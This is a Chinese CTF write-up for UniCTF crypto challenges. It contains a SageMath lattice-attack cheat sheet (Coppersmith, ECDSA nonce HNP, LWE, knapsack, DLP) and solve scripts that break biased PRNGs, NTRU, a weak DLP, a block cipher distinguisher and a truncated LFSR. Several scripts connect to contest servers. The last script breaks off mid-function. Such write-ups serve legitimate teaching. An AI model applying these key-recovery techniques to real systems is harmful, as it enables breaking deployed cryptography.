解线性方程组 s 满足 c_i·s = rhs_i 且 s 很小——把每条方程扩一行 [c_i | -rhs_i]，目标 (s, 1) 就在右核里，QQ 求核 → 清分母 → LLL：

M = Matrix(ZZ, [list(row) + [-int(rhs)] for row, rhs in zip(eq_rows, eq_rhs)])

# QQ 上求右核
Kq = M.change_ring(QQ).right_kernel().basis_matrix()

# 逐行清分母转成整数格基
K_rows = []
for r in Kq.rows():
    den = ZZ(1)
    for x in r:
        den = lcm(den, ZZ(x.denominator()))
    K_rows.append([ZZ(x * den) for x in r])
K = Matrix(ZZ, K_rows)

K_red = K.LLL()
# LLL 后的基向量 v 应为 ±k*(s,1)：用 v[-1] 归一化并验证

递推关系挖掘（序列满足的短线性递推）：观测序列排成滑动窗口矩阵，对右核格做 LLL，最短向量即精确递推关系：

Y = matrix(ZZ, 3, 11)
for i in range(3):
    Y[i] = vector(dy[i:i+11])
rkm = Y.right_kernel_matrix().LLL()[:-2]   # 核基 → LLL → 丢掉最长的"坏关系"

“解空间里钓特殊形状成员”：把解空间的基与目标形状向量（如等比向量）堆叠成矩阵取左核，把满足隐藏结构的成员钓出来：

rkm2 = M.right_kernel_matrix().LLL()
k = ZZ(rkm2.solve_left(dy[1:])[2])         # solve_left 求 v 在行基下的坐标（c·B = v）
rkm2 *= k                                  # 用坐标做尺度归一化

N = rkm2[::-1].stack(vector(a^i for i in range(len(dy)-1)))   # [::-1] 倒序切片
dx = vector(N.left_kernel_matrix()[0, 2::-1]).lift_centered() * rkm2

Kannan 嵌入（CVP → SVP）：目标向量作为额外一列，右下角放缩放因子：

M_embed = Matrix(ZZ, m + n + 1, m + n + 1)
for i in range(m + n):
    for j in range(m + n):
        M_embed[i, j] = M[i, j]
    M_embed[i, m + n] = target[i]
for scale in [1, 10, 100, 1000]:           # scale 多值尝试是实用调试技巧
    M_embed[m + n, m + n] = scale
    L_embed = M_embed.LLL()

模数背包格（s = Σ m_i·a_i mod q）：单位阵编码 0/1 未知量，末行放公钥与 −s，末列放 q 处理取模；LLL 后筛「分量全为 0/±1」的行：

M_big = Matrix(ZZ, n + 2, n + 2)
for i in range(n):
    M_big[i, i] = 1
    M_big[n, i] = a_list[i]
M_big[n, n] = -s
M_big[n, n+1] = q
M_big[n+1, n+1] = 1
L = M_big.LLL()

HNP 格（Hidden Number Problem，ECDSA nonce 高位泄露的数学本质）：对角线放 p，一列放 t_i、一列放 u_i，嵌入列放 X = 2^(p.nbits() − bits_leaked)；从 |vec[-1]| == X 的短向量反解 α：

M_ext = Matrix(ZZ, n + 2, n + 2)
for i in range(n):
    M_ext[i, i] = p
    M_ext[i, n] = t_list[i]
    M_ext[i, n+1] = u_list[i]
M_ext[n, n] = 1
M_ext[n+1, n+1] = X
L = M_ext.LLL()
for vec in L.rows():
    if abs(vec[-1]) == X:
        alpha_candidate = (-vec[n] * inverse_mod(vec[-1] // X, p)) % p

低噪声 LWE / 带泄露的秘密恢复——q-ary 格 + IntegerLattice 的 Babai：

from sage.modules.free_module_integer import IntegerLattice

basis = block_matrix(ZZ, [
    [identity_matrix(ZZ, N), zero_matrix(ZZ, N, extra)],
    [Aprime, q * identity_matrix(ZZ, extra)],
])

lattice = IntegerLattice(basis.transpose(), lll_reduce=True)
closest = vector(ZZ, lattice.babai(b))        # Babai 最近平面算法
# 不行就上 closest_vector（CVP 精确解，慢）
closest = vector(ZZ, lattice.closest_vector(b))
# 或用 sage.crypto.lattice 的现成接口
from sage.crypto.lattice import closest_vector as cv

截断输出类问题（LFSR/带噪方程）常用 BKZ(block_size=20)：造 Matrix(ZZ) 格 → 规约 → 从短向量中提取候选 → PolynomialRing(GF(m)) 上迭代 gcd/monic() 收敛到目标多项式。

常用套路速查

场景	关键 API	套路
已知 p 高/低位分解 n	`PolynomialRing(Zmod(n))`, `small_roots(X=, beta=0.4)`	高位：f = p_high + x；低位：f = x·2^k + p_low
e 小 + 明文结构已知	`small_roots(X=, beta=1)`	先 `coeff^-1` 首一化；X = floor(N^(1/e))
d 过小（Wiener）	`continued_fraction(e/n).convergents()` + `isqrt`	渐近分数恢复 d，判别式分解 n
手搓 Coppersmith	`binomial` 展开 + `X^i` 缩放列 + `PolynomialRing(ZZ).roots()`	不依赖 small_roots
复数域/Z[i] Coppersmith	`block/expand` 2×2 嵌入 + `QuadraticField(-1)`	格维度 ×2 后 LLL，`root.list()` 收根
p-1/p+1 光滑分解	`ecm.factor(N)`	比 factor 快
p-1/q-1 光滑的 RSA/DLP	`discrete_log(c, 2, ord=...)`	直接调，内部 Pohlig-Hellman
合数模 DLP	`Integers`, `multiplicative_order`, `crt`	分因子求 dlog 再 CRT
模 p^k 的 DLP	`linear_lift` / `Zp(p)` + p-adic log	先 mod p 再 Hensel 提升
矩阵 DLP	`MatrixSpace`, `charpoly().roots()`, `det`	特征值或行列式降维
ECDLP	`EllipticCurve(GF(p),[A,B])`, `discrete_log(..., operation='+')`	小域直接解
异常曲线（#E=p）	`EllipticCurve(Qp(p,2),...)` + `lift_x`	Smart’s attack，p-adic 商直接得 k
超奇异/嵌入度小	`weil_pairing` / `tate_pairing` + `GF(p^k)`	MOV 攻击归约到乘法群
奇异曲线 ECDLP	`factor(f)`, `roots`	映射 (x−r)/(y+c/2) 为域上除法
小值藏在格中	`Matrix(ZZ, ...).LLL()`	最短向量即答案
小未知量线性方程组	`right_kernel` + `LLL` / `Matrix(QQ).solve_right`	核向量攻击 / 精确消元
序列短递推关系	`right_kernel_matrix().LLL()`	滑动窗口矩阵；注意它给的是饱和整数核
未知模数	`resultant` 取 gcd 后 `.factor()[-1][0]`	公共根 ⟹ 模数整除结式
CVP（有格基+目标）	Kannan 嵌入 / `IntegerLattice.babai`	嵌入列 scale 多值尝试
模数背包	单位阵 + 公钥行 + q 列	筛 0/±1 行
HNP / nonce 泄露	p 对角 + t_i, u_i 列 + X 嵌入列	`
低噪声 LWE	`IntegerLattice`, `babai`, `closest_vector`	q-ary 格
带泄露（Hamming 重量等）	`Matrix(QQ).rank()` 筛选 + `solve_right`	先转精确方程再消元
截断 LFSR	`BKZ(block_size=20)` + 多项式 `gcd`	格求消去多项式
多元方程组	`ideal([...]).groebner_basis()`	三角化逐个解
插值 / 极小多项式	`PR.lagrange_polynomial(points)`, `algdep(alpha, k)`	—
高次方程求根（大素数模）	`PolynomialRing(GF(P))` / `IntegerModRing(P)` + `f.roots()`	一行解决
sage 对象传输	`save` / `load`	`.sobj` 文件

容易踩的坑

^ 是幂不是异或：sage 里 2^130 等于 Python 的 2**130；把 sage 代码抄进 Python 要把 ^ 全改成 **，反之亦然。
符号变量先声明：var('x') 不声明直接用会 NameError；每次新会话都要重新声明。
环一定要选对：RSA/Coppersmith 用 Zmod(n)，椭圆曲线用 GF(p)，需要精确分数消元时用 QQ（solve_right 在 QQ 上是精确高斯消元，可检查 x.denominator() == 1 确认解为整数）。
small_roots 前先 monic()：最高次系数不是 1 时 Coppersmith 不适用，用 f * (coeff^-1) 手动首一化。
ZZ() / int() 转换：sage 域元素参与 hashlib 等纯 Python 计算前要转回 int；ZZ(tp/tg) 把域上元素精确转整数。另外 sage 的 Integer.to_bytes() 是最小长度，通用场景显式写 to_bytes(32, 'big')。
discrete_log 记得传 ord=：已知阶能避免不必要的阶计算，子群攻击时必须指定。
crt 支持非互质模数：crt(remainders, moduli) 的模数是各部分的阶而不一定是互素的素数，扩展 CRT 会自动处理。
p-adic 处理 p²/p^k 模数：Zmod(p^2) 上多项式求根经常失败，换 Zp(p, prec=2) 再 .lift() 回来。
right_kernel_matrix() ≠ nullspace：sage 给的是饱和整数核格的基（可直接 LLL）；sympy 的 nullspace() 是有理零空间基，通分后可能只是有限指数子格，LLL 会丢向量。
配对不为 1 才线性无关：MOV 里 weil_pairing(G, T, n) == 1 说明 T 是 G 的倍数，要换辅助点。
高斯整数慎用 GaussianIntegers()：该环上部分操作慢/不便，实战常用元组手写运算或 QuadraticField(-1) 替代。
常见报错速查：NameError: name 'x' is not defined → 变量未声明；TypeError: unsupported operand → 类型/环不兼容，检查矩阵与域类型；ValueError: matrix must be square → 非方阵；ZeroDivisionError → 检查分母是否可逆。

unictf

2026-02-26T08:06:33.000Z

unictf

Subgroup-Weaver解题步骤：

分析代码，发现求出正确的key发给服务器就可以拿到flag

key的产生:

key = randbytes(64)#64字节随机

分析这个随机数生成器发现问题 : randint(1, 7) % 2输出1和0的概率并不相等，存在统计偏差
因此，每一位生成的概率分布为：
$P(\text{random\_bit} = 1) = 4/7 \approx 57.14\%$
$P(\text{random\_bit} = 0) = 3/7 \approx 42.86\%$

题目中的加密方式是：output = key ^ random_stream
如果 $k_i = 0$ ： $\text{output}_i = 0 \oplus \text{random}_i = \text{random}_i$ 。此时输出位的分布与随机流相同， $1$ 出现的概率约为 57%。如果 $k_i = 1$ ： $\text{output}_i = 1 \oplus \text{random}_i = \neg \text{random}i$ （取反）。此时输出 $1$ 出现的概率变为 $3/7$ ，约为 42%。
利用这个概率差（约 14%），我们可以通过收集大量的输出来推测每一位 key 的值。
对于第 $i$ 来说如果output为 1 的频率小于 50%，说明 $k_i = 1$ 。反值则为 $0$

exp：

from pwn import *
from Crypto.Util.number import long_to_bytes
import sys

context.log_level = 'info'
io = remote('nc1.ctfplus.cn', 15215)

def get_otp_samples(count=1200):
    samples = []
    print(f"[*] Collecting {count} samples")
    
    for i in range(count):
        # 进度条
        if i % 100 == 0:
            sys.stdout.write(f'\r{i}')
            sys.stdout.flush()
            
        io.sendlineafter(b'> ', b'') 
        line = io.recvline().strip()
        try:
            samples.append(int(line))
        except ValueError:
            pass
    return samples

def recover_key(samples, bit_length=512):
    """通过统计偏差恢复密钥"""
    recovered_key_int = 0
    
    for i in range(bit_length):
        ones_count = 0
        for num in samples:
            if (num >> i) & 1:
                ones_count += 1
        
        freq = ones_count / len(samples)

        if freq < 0.5:
            recovered_key_int |= (1 << i)
            
    return recovered_key_int

def main():

    samples = get_otp_samples(1000)
    
    key_int = recover_key(samples)
    key_bytes = long_to_bytes(key_int)
    key_hex = key_bytes.hex()
    
    print(f"[+] Recovered Key (Hex): {key_hex}")
    
    print("[*] Sending key...")
    io.sendlineafter(b'> ', key_hex.encode())

    response = io.recvline()
    print(f"{response.decode().strip()}")
if __name__ == '__main__':
    main()

NTRU解题步骤：

点名了ntru问题，加密公式为：

c \equiv r \cdot h + m \pmod q

题目明确给出 $r$ 只有 4 个非零系数，且系数只能是 $\pm 1$ ，我们直接去爆破r就好
再去

m \equiv c - r \cdot h \pmod q

exp(ai梭的)：

import itertools

# 题目参数
N = 31
p = 257
q = 12289
h = [9603, 11838, 1242, 5868, 12249, 3130, 3722, 5910, 5879, 7672, 1119, 339, 10748, 7310, 6370, 9353, 10589, 10739, 10213, 2560, 5132, 4889, 11292, 2649, 2556, 8037, 3146, 9533, 11563, 1554, 304]
c = [91, 11459, 932, 4345, 12153, 9504, 5147, 7268, 2493, 8891, 8712, 5785, 11608, 7683, 11327, 8453, 10380, 6004, 7849, 1622, 6154, 10369, 10278, 769, 11676, 11492, 4564, 5445, 10909, 11502, 12216]

def solve():
    print(f"[*] 开始穷举 r (权重=4, N={N})...")
    
    for indices in itertools.combinations(range(N), 4):
        
        for signs in itertools.product([-1, 1], repeat=4):
            
            rh = [0] * N
            
            for i in range(4):
                idx = indices[i] # r 非零项的位置
                sgn = signs[i]   # r 非零项的值 (+1 或 -1)
                
                # 累加到 rh 向量中
                for k in range(N):
                    # 循环卷积下标计算：(k - idx) % N
                    # rh[k] += r[idx] * h[k-idx]
                    val = (sgn * h[(k - idx) % N])
                    rh[k] = (rh[k] + val) % q

            # 4. 计算 m = c - rh (mod q)
            m_candidate = []
            valid_ascii = True
            
            for k in range(N):
                val = (c[k] - rh[k]) % q
                # 检查解出来的值是否像 ASCII 字符
                if not (0 <= val < 128): 
                    valid_ascii = False
                    break
                m_candidate.append(val)
            
            # 5. 如果看起来像 Flag，输出结果
            if valid_ascii:
                # 尝试转成字符串
                try:
                    flag = "".join(chr(x) for x in m_candidate)
                    # 简单的启发式检查：通常 flag 包含 "{" 或 "flag" 或字母
                    if "{" in flag or "flag" in flag.lower() or "ctf" in flag.lower():
                        print(f"\n[+] 找到潜在 Flag!")
                        print(f"Indices: {indices}")
                        print(f"Signs: {signs}")
                        print(f"Message (int): {m_candidate}")
                        print(f"Flag: {flag}")
                        return
                except:
                    pass

if __name__ == "__main__":
    solve()

subgroup_dlp解题步骤：

离散对数问题
问题就要是解方程

c \equiv 7^m \pmod n

注意到这里的n是一个偶数，结合同余的性质，可以考虑分解因子n，拆分同余方程后再使用中国剩余定理求解。
在factordb上分解：

n = 2^5 \cdot 3^2 \cdot p_1 \cdot p_2^3 \cdot p_3

分别求解：
解 $7^{m_1} \equiv c \pmod {2^5}$
解 $7^{m_2} \equiv c \pmod {3^2}$
解 $7^{m_3} \equiv c \pmod {p_1}$
解 $7^{m_4} \equiv c \pmod {p_2^3}$
解 $7^{m_5} \equiv c \pmod {p_3}$
$2^5$ ， $3^2$ 小因子及p-1光滑的 $p_1,p_3$ 可以直接在 $sagemath$ 里 $discrete_log$ 函数求解
对于 $p_2$ 的方法则是先求出 $7^{m_4} \equiv c \pmod {p_2}$ 再去升次
完成后在crt合并就好

解题脚本(东拼西凑的)：

from sage.all import *
from Crypto.Util.number import long_to_bytes

# ================= 题目数据 =================
n = 20416580311348568104958456290409800602076453150746674606637172527592736894552749500299570715851384304673805100612931000268540860237227126141075427447627491168
c = 8195229101228793312160531614487746122056220479081491148455134171051226604632289610379779462628287749120056961207013231802759766535835599450864667728106141697

p1 = 10711086940911733573
p2 = 188455199626845780197
p3 = 988854958862525695246052320176260067587096611000882853771819829938377275059

#p2笔者选择单独处理
factors = [2**5, 3**2, p1, p3]

# ================= 求解过程 =================

remainders = []
moduli = []

for factor in factors:
    R = Integers(factor)
    g_val = R(7)
    c_val = R(c)
        
    # 求阶
    order = g_val.multiplicative_order()
        
    # 求解离散对数
    dlog = discrete_log(c_val, g_val, ord=order)
        
    remainders.append(dlog)
    moduli.append(order)

# 手动处理 p2^3 的部分 
R = Integers(p2)
g_val = R(7)
c_val = R(c)
order = g_val.multiplicative_order()

dlog = discrete_log(c_val, g_val, ord=order)
def linear_lift(g, c, p, k):
    """
    功能: 求解 g^x = c mod p^k
    原理: 先求 x0 = dlog(c) mod p, 然后线性提升到 p^k
    """
    # 1. 基础解: mod p
    x = discrete_log(GF(p)(c), GF(p)(g))
    
    # 2. 线性提升: 逐层修正
    # 每一层修正量 d 满足线性方程: d * alpha = beta mod p
    for i in range(1, k):
        mod = p**(i+1)
        
        # 计算当前偏差 beta = L(c * g^-x)
        # 即 (c / g^x - 1) / p^i
        curr_val = power_mod(g, x, mod)
        chk = (c * inverse_mod(curr_val, mod)) % mod
        beta = (chk - 1) // p**i
        
        # 计算梯度 alpha = L(g^phi_prev)
        # 即 (g^((p-1)p^(i-1)) - 1) / p^i
        step_pow = (p-1) * p**(i-1)
        base = power_mod(g, step_pow, mod)
        alpha = (base - 1) // p**i
        
        # 解 d 并更新 x
        d = (beta * inverse_mod(alpha, p)) % p
        x += d * step_pow
        
    return x

m4 = linear_lift(7, c, p2, 3)
print(f'{m4}')
remainders.append(m4)

'''
据说sage好像可以自动升次？？？
但笔者这里的是ai梭的 p-adic
'''

#计算 p2^3 对应阶
p2_pow_3 = p2**3
order_p2 = Integers(p2_pow_3)(7).multiplicative_order()
moduli.append(order_p2)
print(f"解: {remainders}")
print(f"模: {moduli}")
        

#crt部分

m = crt(remainders, moduli)
print(f"m: {m}")
    
flag = long_to_bytes(m)
print(f"\n{flag.decode()}")


'''
3607318467090477073783352030357123895792830141955325751309814
解: [0, 1, 1224347636342905336, 106155541015491325739788391904987578874651584430962292283925150916550296688, 3607318467090477073783352030357123895792830141955325751309814]
模: [4, 3, 1785181156818622262, 988854958862525695246052320176260067587096611000882853771819829938377275058, 3346527342866541318314435408576449342128783035050376199173282]
m: 4474399909953905361921883374365168306769114394248549045511770939283217915925636422542946623049100947407711381893061133594122679245785692770312361479241728

UniCTF{Th1s_DLP_probl3m_i5_v3ry_s1mpl3_f0r_y0u!!!}

'''

subgroup_Scribe

1.题目到底干嘛？

服务端会玩 128 轮游戏。
每一轮：

它随机生成一个 key
你发一段数据 msg 给它
它会利用key对你的msg加密
然后随机决定：
- 要么发真实加密结果
- 要么发同长度随机字符串
你要猜：这是不是“真的加密结果”

连续猜对 128 次给 flag。

所以目标是：

设计一个特殊的 msg
让“真加密”一定有某种规律
“随机串”几乎不可能有这种规律

然后稳定区分

2.加密

ECB 模式：
代码把 msg 分成 16 字节一块
每一块单独加密
但是有个关键点：
代码每加密完一块，key 会变一次
变的方法是：
代码key 的每个字节都过一遍 sbox
也就是：
代码key -> s(key)

漏洞：

这个 sbox 有个性质：

它循环 128 次就会回到原值

代码key1
key2 = sbox(key1)
key3 = sbox(key2)
…
那么：
代码key129 = key1

3.现在的目标变成：

设计两个 block：

block1
block129

让它们在“同 key”下加密时，
输出之间存在某种“特殊关系”。
这样：

真加密 → 一定满足关系
随机串 → 几乎不可能满足

第一个块：
代码[0,0,0,0]
第二个块：
代码[1,1,1,0]
那么：
[0, 0, 0, 0] 的输出状态可表示为：

[C_1, C_2, C_3, C_4]

而 [1, 1, 1, 0] 的输出状态会紧紧跟随着它，变为：

[1 \oplus C_1, 1 \oplus C_2, 1 \oplus C_3, T(C_1 \oplus C_2 \oplus C_3 \oplus C_4 \oplus k_4 \oplus 1)]

我们就可以依靠这个进行判断:
把它们俩做异或（也就是求差异），前三个字的结果会是：
第 1 个字： $C_1 \oplus (1 \oplus C_1) = \mathbf{1}$
第 2 个字： $C_2 \oplus (1 \oplus C_2) = \mathbf{1}$
第 3 个字： $C_3 \oplus (1 \oplus C_3) = \mathbf{1}$
所以有diff_words[0], [1], [2]
重点在第四个
$T(x) \oplus T(x \oplus 1)$
对应 $\Delta = T(x) \oplus T(x \oplus 1)$
只会有256种可能!

4.攻击思路

我们提前算好这 256 种可能：

delta_list = {  
   T(i) xor T(i xor 1)  
   for i in range(256)  
}

存到一个列表
每轮：

发 129 个 block
收到 hint
取：
- 第 1 块密文
- 第 129 块密文
做异或
看是否落在那 256 种差分里

如果在：
代码说明大概率是真加密
如果不在：
代码说明是随机串
循环128轮就好

怎么算出的128种可能?

代码x  =  [ B3 ] [ B2 ] [ B1 ] [ B0 ]  
          ↑高字节              ↓低字节（最低 8bit）

而 1 在 32-bit 里是：

1 = 0x00000001  
[ 00 ] [ 00 ] [ 00 ] [ 01 ]

所以：

代码x ⊕ 1 只会影响最低字节 B0（因为只有最后那个 01 在动）
也就是：

x       = [ B3 ] [ B2 ] [ B1 ] [ B0 ]  
x⊕1    = [ B3 ] [ B2 ] [ B1 ] [ B0⊕01 ]  
前3个字节完全不变

过 tau（逐字节 sbox）时，变化“仍然只在 1 个字节”

tau(x)     = [ S(B3) ] [ S(B2) ] [ S(B1) ] [ S(B0) ]  
tau(x⊕1)  = [ S(B3) ] [ S(B2) ] [ S(B1) ] [ S(B0⊕01) ]

于是 tau 后的差分（异或）是：

$Δtau = tau(x) ⊕ tau(x⊕1) = [ 00 ] [ 00 ] [ 00 ] [ S(B0) ⊕ S(B0⊕01) ]$
前三个字节一定是 0，因为完全相同。

B0 的取值只有 0..255 共 256 种
所以 S(B0) ⊕ S(B0⊕1) 只由 B0 决定,最多也就 256 种
过线性层 L 后，还是256种(线性的变化不会改变)
本地的计算表:

def rotl(x, n):
    return ((x << n) & 0xFFFFFFFF) | (x >> (32 - n))

def tau(a):
    return ((sbox[(a >> 24) & 0xFF] << 24) |
            (sbox[(a >> 16) & 0xFF] << 16) |
            (sbox[(a >>  8) & 0xFF] <<  8) |
             sbox[a & 0xFF])

def L(b):
    return b ^ rotl(b, 2) ^ rotl(b, 10) ^ rotl(b, 18) ^ rotl(b, 24)

def T(x):
    return L(tau(x))

delta_set = set()
for d in range(256):
    x  = d                  # 0x000000d
    dx = T(x) ^ T(x ^ 1)    # 注意：x^1 只翻转最低bit，所以只影响最低字节
    delta_set.add(dx)

# delta_set 里面就是“所有可能的差分”（大小 <= 256）

5.exp

from pwn import remote

HOST = "example.com"
PORT = 1337

DELTA = bytes.fromhex(
    "00000001"
    "00000001"
    "00000001"
    "00000000"
)

def bxor(a: bytes, b: bytes) -> bytes:
    return bytes(x ^ y for x, y in zip(a, b))

def build_msg(T: int = 16) -> bytes:
    blocks = []
    for t in range(T):
        for i in range(128):
            v = (2 * i) & 0xFF  # even => LSB=0
            b = bytearray(16)
            b[0:2]  = t.to_bytes(2, "big")
            b[3]    = v
            b[4:6]  = (t ^ 0x1234).to_bytes(2, "big")
            b[7]    = v
            b[8:10] = (t ^ 0xBEEF).to_bytes(2, "big")
            b[11]   = v
            blocks.append(bytes(b))

    blocks2 = [bxor(b, DELTA) for b in blocks]
    msg = b"".join(blocks + blocks2)

    # 唯一性自检（可留可删）
    assert len(set(msg[i:i+16] for i in range(0, len(msg), 16))) * 16 == len(msg)
    return msg

def decide_coin(hint: bytes, T: int) -> int:
    blocks = [hint[i:i+16] for i in range(0, len(hint), 16)]
    for t in range(T):
        for i in range(128):
            c1 = blocks[t*128 + i]
            c2 = blocks[(T+t)*128 + i]
            d = bxor(c1, c2)
            if 0 in d[12:16]:   # last 32-bit word bytes contain 0
                return 1        # random
    return 0                    # real encryption

def main():
    T = 16
    msg = build_msg(T).hex().encode()

    io = remote(HOST, PORT)

    for r in range(128):
        io.recvuntil(b"msg > ")
        io.sendline(msg)

        line = io.recvline().decode().strip()
        assert line.startswith("hint: ")
        hint_hex = line.split("hint: ", 1)[1]
        hint = bytes.fromhex(hint_hex)

        io.recvuntil(b"give me coin > ")
        io.sendline(str(decide_coin(hint, T)).encode())

    print(io.recvall().decode(errors="ignore"))

if __name__ == "__main__":
    main()

subgroup_lattice

题目在干什么？

class PRNG:  
    def __init__(self, state):  
        self.mask = 2147483647   # m = 2^31-1  
        self.state = [s & self.mask for s in state]  
  
    def next(self):  
        tmp = 0  
        for i in range(len(self.state)):  
            tmp = (tmp + self.state[i] * C[i]) % self.mask  
        self.state = self.state[1:] + [tmp]  
        return tmp  
  
    def getrandbits(self, k):  
        return self.next() >> (self.mask.bit_length() - k)

这就是：

a_{i+16} = \sum_{j=0}^{15} C_j a_{i+j} \pmod m

其中：

阶数 n = 16
模数 m = 2³¹−1
只输出 高 17 位
低 14 位被截断

即：

a_i = 2^{14} y_i + z_i

$y_i$ 已知（hint）
$z_i < 2^{14}$ 未知

程序最后判断：if ans == sum(s):

要恢复初始 state $s_0, …, s_{15}$
反复拷打ai发现都卡在c未知了，到这里就初见端倪
想着可能是最近的论文题
去eprint搜lfsr结果还真让我找到了
https://eprint.iacr.org/2025/2323.pdf
照着上面的方法来就好

1.分析

有一个 Fibonacci Z/(m)-LFSR：

a_{i+n} ≡ c_{n-1}a_{i+n-1}+…+c_0a_i \pmod m

且每个数被截断：

a_i = 2^{β}y_i + z_i

y_i：已知高位
z_i：未知低位
0 ≤ z_i < 2^β
目标：

用 y_i 恢复 c_i 和初始状态。

论文的关键是：
不直接猜系数。
而是先找一个多项式 F(x)，使得：

F(a_i) ≡ 0 \pmod m

即:

\sum η_i a_{i+j} ≡ 0 \pmod m

这种多项式叫：

$annihilating polynomial$ (消去多项式)

为什么这么做？
因为：
真实特征多项式

f(x)=x^n-c_{n-1}x^{n-1}-…-c_0

一定整除所有 $annihilating polynomial$ 。
所以：
只要找到几个 $annihilating polynomial$
对它们求 gcd
就能得到真正的 f(x)

2.解答

如何去求解消去多项式 $F(x)=η_0+η_1x+…+η_{r-1}x^{r-1}$ ?
我们做一些推导：

消去多项式满足

η=(η_0,…,η_{r-1})

\sum_{i=0}^{r-1} η_i a_{i+j} ≡ 0 \pmod m

运用已知： $a_i=2^{β}y_i+z_i$
代入：

\sum η_i(2^{β}y_i+z_i) ≡ 0 \pmod m

整理：

2^{14} \sum_{i=0}^{r-1} \eta_i y_{i+j} \equiv - \sum_{i=0}^{r-1} \eta_i z_{i+j} \pmod m

等式右边的 $z_{i+j}$ 是非常小的（只有 14 位，小于 $2^{14}$ ）。如果多项式的系数 $\eta_i$ 也很小，那么整个等式右边的值就会远小于模数 $m$ 。也就是说，我们要求一组小系数 $\eta_i$ ，使得等式左边的计算结果对 $m$ 取模后也非常小
契合了最短向量问题

按论文造格：
收集141组hint的输出

a_0,a_1,\cdots,a_{140}

$\left(\begin{matrix}m&&&&&&&&\\&m&&&&&&&\\&&\ddots&&&&&&\\&&&m&&&&&\\Ka_0&Ka_1&\cdots&Ka_{t-1}&K&&&\\Ka_1&Ka_2&\cdots&Ka_{t}&&K&&\\\vdots&\vdots&&\vdots&&&\ddots&\\Ka_{r-1}&Ka_{r}&\cdots&Ka_{140}&&&&K\\\end{matrix}\right)$
其中 $K=2^{14},r=t=71$
取前 $s(s\ge 2)$ 个短向量的前 $t$ 个分量除以 $K$ 之后构造 $\mathbb{Z}_m$ 下的多项式 $p_1,p_2,\cdots,p_s$ ，再对这 $s$ 个多项式求gcd就可以得到一个度为16的不可约多项式了
这个多项式就算是

f(x)=x^n-c_{n-1}x^{n-1}-…-c_0

就可以还原 $c_i$ 了

3.exp

恢复C

from sage.all import *
from pwn import *

# 题目环境参数
m = 2147483647  # 模数 2^31 - 1 (素数)
n = 16          # LFSR 阶数
alpha = 17      # 已知高位比特数
beta = 14       
shift = 2**beta 


r = 80
t = 80

# 需要获取的 hint 数量 (N = r + t - 1)
# 多取几个防止边界溢出
num_hints = r + t + 5 

# 配置日志
context.log_level = 'info'

# ================= 2. 数据收集 =================
def get_hints():
    # 连接到远程服务器
    # 请根据实际情况修改 IP 和端口
    try:
        io = remote("nc1.ctfplus.cn", 31840)
    except:
        print("[-] 连接失败，请检查网络或题目地址")
        exit(0)
    
    hints = []
    print(f"[*] 正在收集 {num_hints} 个 Hint 数据 (用于恢复系数)...")
    
    # 进度条
    p = log.progress("Fetching")
    
    for i in range(num_hints):
        io.sendlineafter(b">>> ", b"2")
        io.recvuntil(b"hint: ")
        line = io.recvline().strip()
        try:
            hints.append(int(line))
        except ValueError:
            p.failure(f"收到无效数据: {line}")
            exit(0)
            
        if i % 10 == 0:
            p.status(f"{i}/{num_hints}")
            
    p.success(f"成功收集 {len(hints)} 个数据")
    io.close() # 恢复系数阶段只需要数据，断开连接无妨
    return hints

# ================= 3. 构建格与恢复系数 =================
def recover_coefficients(hints):
    print(f"[*] 构建格矩阵 L (维度: {r+t} x {r+t})...")
    
    # 根据论文公式 (3) 构建格 L_{m,y} [cite: 282]
    # Matrix Structure:
    # [ m * I_t       0            ]
    # [ 2^beta * Y    2^beta * I_r ]
    
    dim = t + r
    L = Matrix(ZZ, dim, dim)
    
    # 1. 左上角: m * I_t
    for i in range(t):
        L[i, i] = m
        
    # 2. 下半部分: 构造关联矩阵
    # 每一行对应一个移位的 hint 向量 Y_i = (y_i, y_{i+1}, ..., y_{i+t-1})
    for i in range(r):
        # 提取长度为 t 的向量 Y_i
        vec_y = hints[i : i+t]
        
        # 填充左下角: 2^beta * Y_i
        for j in range(t):
            L[t+i, j] = shift * vec_y[j]
        
        # 填充右下角: 2^beta * I_r (用于记录多项式系数 eta)
        L[t+i, t+i] = shift

    print("[*] 正在运行 BKZ-20 格规约算法 (可能需要 10-30 秒)...")
    # 论文实验表明 BKZ-20 对于 ZUC 规模的问题是必要的 [cite: 398]
    L_red = L.BKZ(block_size=20)
    
    print("[*] 格规约完成，正在提取零化多项式...")
    
    # 在有限域 GF(m) 上定义多项式环
    F = GF(m)
    P_ring = PolynomialRing(F, 'x')
    x = P_ring.gen()
    
    candidates = []
    
    # 遍历规约后基底的每一行
    for row_idx in range(dim): 
        row = L_red[row_idx]
        
        # 验证向量格式: 后 r 位必须是 2^beta 的倍数
        # 向量格式: [ residual_0 ... | coeff_0*shift ... coeff_{r-1}*shift ]
        coeffs = []
        valid = True
        
        for j in range(r):
            val = row[t+j]
            if val % shift != 0:
                valid = False
                break
            coeffs.append(val // shift)
            
        if valid:
            # 构造多项式 P(x) = sum(eta_i * x^i)
            # 注意: 格构造隐含的关系是 sum(eta_i * Y_{k+i}) = 0
            poly = sum(coeffs[j] * (x**j) for j in range(r))
            
            # 过滤无效多项式 (0 或 度数小于 n)
            if poly != 0 and poly.degree() >= n:
                candidates.append(poly)
    
    print(f"[*] 找到 {len(candidates)} 个候选多项式。")
    if not candidates:
        print("[-] 未找到有效多项式，请尝试增加 r 和 t 的值。")
        return None

    print("[*] 正在通过 GCD 计算特征多项式...")
    
    # 迭代 GCD 策略：寻找所有候选者的最大公因式
    # 只要数据量足够，它们的 GCD 就会收敛到唯一的特征多项式 f(x)
    final_poly = candidates[0]
    
    for i in range(1, min(20, len(candidates))): # 取前20个足够了
        # 计算 GCD
        next_poly = gcd(final_poly, candidates[i])
        
        # 如果 GCD 变成常数(互质)，说明其中混入了噪声向量
        if next_poly.degree() == 0:
            continue
            
        final_poly = next_poly
        
        # 如果度数收敛到 16，我们就找到了！
        if final_poly.degree() == n:
            print(f"[+] 成功锁定度数为 {n} 的多项式！")
            break
            
    # 归一化 (Monic)
    final_poly = final_poly.monic()
    
    if final_poly.degree() != n:
        print(f"[-] 警告: 最终多项式度数为 {final_poly.degree()} (期望 {n})。")
        print("[-] 可能是数据不足或参数 r/t 需要调整。")
        return None
        
    print(f"[*] 特征多项式: {final_poly}")
    
    # 提取系数 C
    # 定义: a_{i+n} = sum(C_k * a_{i+k})
    # 特征方程: f(x) = x^n - sum(C_k * x^k)
    # 因此: C_k = - (f(x) 中 x^k 的系数)
    recovered_C = []
    for i in range(n):
        c = -final_poly[i]
        recovered_C.append(int(c))
        
    print("\n" + "="*50)
    print(f"[SUCCESS] 系数 C 恢复成功!")
